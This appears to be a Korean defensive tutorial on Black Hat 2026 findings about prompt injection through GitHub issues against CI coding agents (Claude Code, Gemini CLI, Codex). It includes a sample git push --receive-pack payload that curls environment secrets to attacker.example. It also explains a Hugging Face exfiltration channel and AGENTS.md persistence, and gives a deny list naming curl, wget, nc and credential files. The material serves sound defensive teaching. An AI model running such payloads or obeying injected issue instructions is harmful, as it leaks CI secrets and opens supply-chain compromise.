본문으로 건너뛰기

GitHub 이슈 → CI 시크릿: Black Hat 2026 코딩 에이전트 공격

고급
What you'll learn
  • 공개 GitHub 이슈가 왜 CI 워크플로 시크릿에 도달할 수 있는지 이해하기 — 공격자 쪽에는 저장소 권한이 전혀 없는데도
  • CVE-2026-54316 추적: 작은따옴표 제거가 `git push --receive-pack='…'`를 Claude Code의 23개 검증기를 통과시킨 방식
  • CVE-2026-12537 추적: 조작된 `.gemini/.env`가 샌드박스가 시작되기 전에 CI 호스트에서 실행된 CVSS 10.0 결함
  • 세 번째 패턴(OpenAI Codex + AGENTS.md) — CVE는 아니었지만 논쟁의 여지가 있을 만큼 더 나빴던: 지시 파일 자체를 통한 지속성
  • 권한 범위, 샌드박스 모드, 허용 목록 시행, 거부 규칙 등 이 전체 버그 클래스를 막는 구체적 CI 강화 체크리스트 배포

2026년 8월 5일 Black Hat USA에서 Novee Security의 Elad Meged와 Pillar Security의 Dan Lisichkin은 코딩 에이전트가 CI에 도입된 이래로 업계가 조용히 우려해온 것을 시연했습니다: 저장소 권한이 전혀 없는 낯선 사람이 GitHub 이슈를 등록하고 CI 러너에서 원격 코드 실행을 얻을 수 있다 — 왜냐하면 이슈를 자동 트리아지하기 위해 설정한 CI 워크플로가 그 이슈 본문을 지시문으로 코딩 에이전트에 넘겨주기 때문입니다.

세 취약점 중 두 개는 CVE와 패치를 받았습니다. 세 개 모두 같은 종류의 버그입니다: 컴포넌트 사이 인계 지점에서 깨진 신뢰 경계 — 검증기 대 실행기, 부모 대 자식 프로세스, 한 에이전트 패스 대 다음 패스.

이것이 왜 새로운 실패 모드인가

자동 트리아지는 종이 위에서는 안전해 보입니다. GitHub Actions 워크플로가 issues.opened에서 발화하고, 저장소를 체크아웃하고, Claude Code / Gemini CLI / Codex를 "이슈 본문을 읽고, 수정을 제안하고, PR을 열어라" 같은 것으로 띄웁니다. 에이전트는 컨테이너에서 실행되고, 러너는 범위가 지정된 토큰을 갖고 있고, 모두가 안심합니다.

문제는 이슈 본문이 프롬프트 — 에이전트가 해석할 신뢰할 수 없는 자연어라는 점입니다. 프롬프트 인젝션은 2022년부터 알려져 있습니다. Novee가 보여준 것은 벤더들이 이를 격리했다고 생각했을 때조차도(검증기, 샌드박스, 도구 허용 목록), 그 계층들 사이의 인계 지점은 지켜지지 않았다는 것입니다. 공격자는 단일 방어를 격파할 필요가 없습니다 — 한 컴포넌트가 "안전"하다고 말하고 다음 컴포넌트가 그에 따라 행동한 이음새를 통해 페이로드를 슬쩍 넣습니다.

Watch out
  • GitHub Actions 워크플로가 제한되지 않은 브랜치에서 `issues.opened`, `issue_comment.created` 또는 `pull_request_target`에 코딩 에이전트를 호출하고, Claude Code를 ≥ 2.1.163으로 또는 Gemini CLI를 ≥ 0.39.1 / run-gemini-cli ≥ 0.1.22로 업그레이드하지 않았다면, 워크플로 시크릿을 손상된 것으로 취급하십시오. 순환한 다음 업그레이드하십시오.

세 취약점, 한 그림으로

Guided walkthrough1 of 4
  1. 포크도, PR도, 저장소 쓰기 권한도 필요 없음 — 그저 공개 저장소에 이슈를 등록할 능력만. 워크플로 트리거 `issues.opened`가 자동으로 발화합니다.

CVE-2026-54316 — Claude Code: 작은따옴표 제거

수정 버전: Claude Code 2.1.163(0.2.54부터 2.1.162까지 모두 영향). CVSS: v3.1 9.1(Anthropic은 v4 6.0 / Moderate로 평가; NVD는 9.1로 등재). 근본 약점: 명령어 검증기가 23개의 안전 검사를 실행하기 전에 작은따옴표로 묶인 내용을 제거합니다. 이는 bash-정확합니다: bash는 작은따옴표를 리터럴 전용으로 취급합니다. 문제는 git이 --receive-pack='…'를 원격 측에서 exec할 값을 가진 플래그로 취급한다는 점입니다.

결과: 검증기는 페이로드가 지워진 무해한 명령을 봅니다; git은 페이로드를 실행하는 플래그를 봅니다.

페이로드 형태(예시 — 방어자를 위한 것, 실행하지 마시오)

git push --receive-pack='sh -c "curl https://attacker.example/x?d=$(env | base64)"' origin HEAD

주목할 두 가지:

  • 검증기들이 개별적으로 틀린 것은 아닙니다. 작은따옴표를 제거하는 것은 bash가 하는 일입니다. git push를 허용하는 것은 코딩 에이전트가 반드시 해야 하는 일입니다. 각 계층은 격리된 상태에서 정확합니다; 그 사이의 이음새가 버그입니다.
  • 유출 채널이 이국적일 필요는 없습니다. Novee의 PoC는 huggingface.co를 사용했습니다 — 어떤 코딩 에이전트든 아웃바운드 허용 목록에 있을 도메인 — 은밀한 카운터로서, 유출된 시크릿의 문자당 한 번씩 통제된 모델 저장소의 다운로드 수를 증가시켰습니다. 이그레스 정책이 "명백한" C2만 차단한다면, 이것은 그것을 우회합니다.

1.5년의 노출 기간(2025년 초에 취약한 검사를 배포한 도구에서 2026년 8월에 수정됨)이 무서운 부분입니다: 이 버그는 100개 이상의 릴리스를 거쳐 살아남았습니다. 아무도 다운스트림 도구의 값 시맨틱스에 대해 검증기를 퍼징하지 않았기 때문입니다.

CVE-2026-12537 — Gemini CLI: 샌드박스 이전 .env

수정 버전: @google/gemini-cli 0.39.1, run-gemini-cli GitHub Action 0.1.22(그리고 0.40.0-preview.3). CVSS: 4.0 — 완벽한 10.0. CWE: 78(OS 명령 인젝션) + 20(부적절한 입력 검증). 근본 원인: 헤드리스 CI 모드에서 Gemini CLI는 워크스페이스 폴더를 자동으로 신뢰하고 컨테이너 샌드박스가 뜨기 전에 .gemini/.env를 로드했습니다. PR 브랜치에 커밋된(또는 이전 단계에서 체크아웃에 떨어뜨려진) 악성 .gemini/.env가 러너의 전체 환경(GITHUB_TOKEN 포함)으로 호스트에서 실행되었습니다.

두 가지 복합적 실패가 있었습니다:

  • CI에서 자동 워크스페이스 신뢰. 대화형 모드에서는 "이 폴더를 신뢰하시겠습니까?" 프롬프트가 나옵니다. 헤드리스 모드에서는 아무것도 없었습니다 — 워크스페이스가 기본으로 신뢰되었으므로, 체크아웃하는 어떤 저장소든 자체 에이전트 구성을 가져올 수 있었습니다.
  • --yolo는 도구 허용 목록을 완전히 우회했습니다 — "느슨하게 만든" 것이 아니라, 무시했습니다. 사용자가 신중하게 작성한 세밀한 settings.json 허용 목록은 --yolo가 설정되었을 때 런타임 경로에서 컴파일되어 빠졌습니다. Novee는 이 형태를 "허용 목록은 등록 시에만 파싱됨; 런타임에는 시행되지 않음"이라고 명명했습니다.

도달 가능성의 함의는 나빴습니다: run-gemini-cli는 공개 시점에 큰 설치 기반을 갖고 있었고, 익스플로잇이 캡처한 토큰은 액션 자체 저장소에 푸시할 수 있었습니다 — 순환으로 잡히지 않는다면 약 2M 다운스트림 설치에 대한 공급망 발판입니다.

수정은 신뢰 모델에 대한 파괴적 변경입니다: 워크스페이스는 이제 명시적으로 신뢰되어야 하며, --yolo는 여전히 허용 목록을 존중합니다.

OpenAI Codex 세 번째 사례 — CVE 없음, 논쟁의 여지가 있을 만큼 더 나쁨

OpenAI의 Codex는 같은 종류의 보고를 받았지만 CVE를 발행하지 않았습니다 — 그들의 입장은 샌드박스가 문서화된 그대로 정확히 동작했다는 것입니다. Novee가 보여준 것은 AGENTS.md 자체를 통한 지속성 경로였습니다:

  1. 두 Codex 패스가 하나의 워크스페이스 체크아웃을 공유했습니다.
  2. 패스 1(격리, 읽기 전용 의도)이 신뢰할 수 없는 이슈 본문을 처리했습니다.
  3. 이슈 본문의 주입된 지시가 패스 1에게 AGENTS.md에 새로운 내용을 쓰도록 지시했습니다.
  4. 패스 2(권한 있음)가 시작되어, 디스크에서 AGENTS.md를 권위 있는 지시로 로드하고, 공격자의 명령을 따랐습니다.

검증 게이트는 패스 1의 출력 형식을 확인했지, 패스 1이 남긴 파일 시스템 상태를 확인하지 않았습니다. 지속성은 데이터 경로가 아니라 디스크를 통해 이동했습니다.

OpenAI의 완화책: 패스를 서로 다른 잡으로 분리(공유 워크스페이스 상태가 없도록)하고 검증 패스에 읽기 전용 샌드박스를 사용합니다. 둘 다 패치된 Claude Code와 Gemini CLI에서도 스스로 구성할 수 있고 — 그리고 해야 하는 — 것입니다. 왜냐하면 이 패턴은 Codex에 국한된 것이 아니기 때문입니다. 다단계 에이전트 워크플로가 쓰기 가능한 지시 파일과 워크스페이스를 공유하는 곳이면 어디든, 같은 공격이 가능합니다.

공통된 형태

버그 클래스 인식하기
Enter 또는 스페이스 키를 눌러 카드를 뒤집습니다. 좌우 화살표 키로 카드를 이동할 수 있습니다.용어가 표시되었습니다.
1 / 5

다음 CVE에도 살아남는 방어

먼저 업그레이드하십시오 — Claude Code ≥ 2.1.163, @google/gemini-cli0.39.1, run-gemini-cli0.1.22. 그런 다음 워크플로 자체를 강화하여 다음 인계 버그가 위기가 되지 않도록 하십시오.

Guided walkthrough1 of 8
  1. `issues.opened`, `issue_comment.created`, 그리고 포크에서의 `pull_request_target`은 공격자가 통제하는 콘텐츠를 시크릿과 함께 워크플로에 넣습니다. 반드시 해야 한다면, 저장소 쓰기 리뷰어 레이블(예: 유지관리자의 `/agent-run` 댓글)에 게이트를 두십시오 — 그것은 인간의 결정을 루프에 다시 추가합니다.

CI 에이전트를 위한 최소 실행 가능 거부 목록

CI 실행을 위한 Claude Code 권한 프래그먼트(설정에 맞게 조정)

{
"permissions": {
  "deny": [
    "Read(./.env)",
    "Read(./.env.*)",
    "Read(./**/*.pem)",
    "Read(./**/id_rsa*)",
    "Read(./**/.git/config)",
    "Bash(curl:*)",
    "Bash(wget:*)",
    "Bash(nc:*)",
    "Bash(git push:*)",
    "Bash(git remote:*)",
    "Bash(rm -rf:*)",
    "Bash(chmod:*)"
  ],
  "allow": [
    "Read(./src/**)",
    "Read(./docs/**)",
    "Edit(./src/**)"
  ]
}
}

명시적인 git push:* 거부에 주목하십시오 — 그것이 가상의 미래 검증기 버그에서도 CVE-2026-54316 익스플로잇 벡터를 닫는 것입니다: 에이전트는 애초에 푸시할 권한을 가진 적이 없었습니다.

더 안전한 GitHub Actions 형태

`.github/workflows/agent-triage.yml` — 최소 권한 패턴

name: agent-triage
on:
# Don't fire on unrestricted 'issues.opened' — gate on a reviewer label
issues:
  types: [labeled]

permissions:
contents: read
issues: write       # only to comment on the issue

jobs:
# Pass 1: parse untrusted input, NO secrets besides the ambient token
parse:
  if: github.event.label.name == 'agent-triage'
  runs-on: ubuntu-latest
  outputs:
    summary: ${{ steps.extract.outputs.summary }}
  steps:
    - uses: actions/checkout@v4
    - id: extract
      env:
        ISSUE_BODY: ${{ github.event.issue.body }}
      run: |
        # Emit a structured, schema-validated summary — not raw prompt
        node ./scripts/extract-issue-facts.js > out.json
        echo "summary=$(jq -c . out.json)" >> "$GITHUB_OUTPUT"

# Pass 2: privileged, in a fresh workspace, on validated data only
act:
  needs: parse
  runs-on: ubuntu-latest
  permissions:
    contents: read
    issues: write
  steps:
    - uses: actions/checkout@v4  # fresh checkout — pass 1's workspace is gone
    - name: Validate parse output
      run: node ./scripts/validate-summary.js '${{ needs.parse.outputs.summary }}'
    - name: Run coding agent on validated summary
      env:
        ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
      run: |
        # Agent sees ONLY the validated summary, never the raw issue body
        claude --permission-mode plan --input-file summary.json

중요한 세 가지 구조적 속성:

  • on: issues.types: [labeled] + 레이블 이름 확인 = 유지관리자가 레이블을 추가해야 하므로, 무작위 낯선 사람이 워크플로를 발화시킬 수 없습니다.
  • 두 잡 = 두 워크스페이스. 패스 1의 쓰기(주입된 AGENTS.md 포함)는 패스 2로 살아남지 않습니다.
  • 패스 사이의 스키마 검증. 패스 2는 원시 텍스트가 아닌 타입이 지정된 JSON을 받으므로, 인젝션이 주입할 것이 없습니다.

스스로 확인하기

스스로 확인하기

0/5
  1. Claude Code의 검증기에서 작은따옴표를 제거하는 것이 왜 RCE를 만들었는가?
  2. 공개 저장소의 에이전트 트리아지 워크플로에 가장 안전한 트리거는?
  3. CVE-2026-12537(Gemini CLI CVSS 10.0)은 실제로 무엇을 익스플로잇했는가?
  4. 왜 '그냥 에이전트를 업그레이드'로는 버그 클래스를 고칠 수 없는가?
  5. 왜 Hugging Face가 CI 공격자에게 좋은 유출 채널인가?

출처 및 추가 자료

AILmanac 관련 자료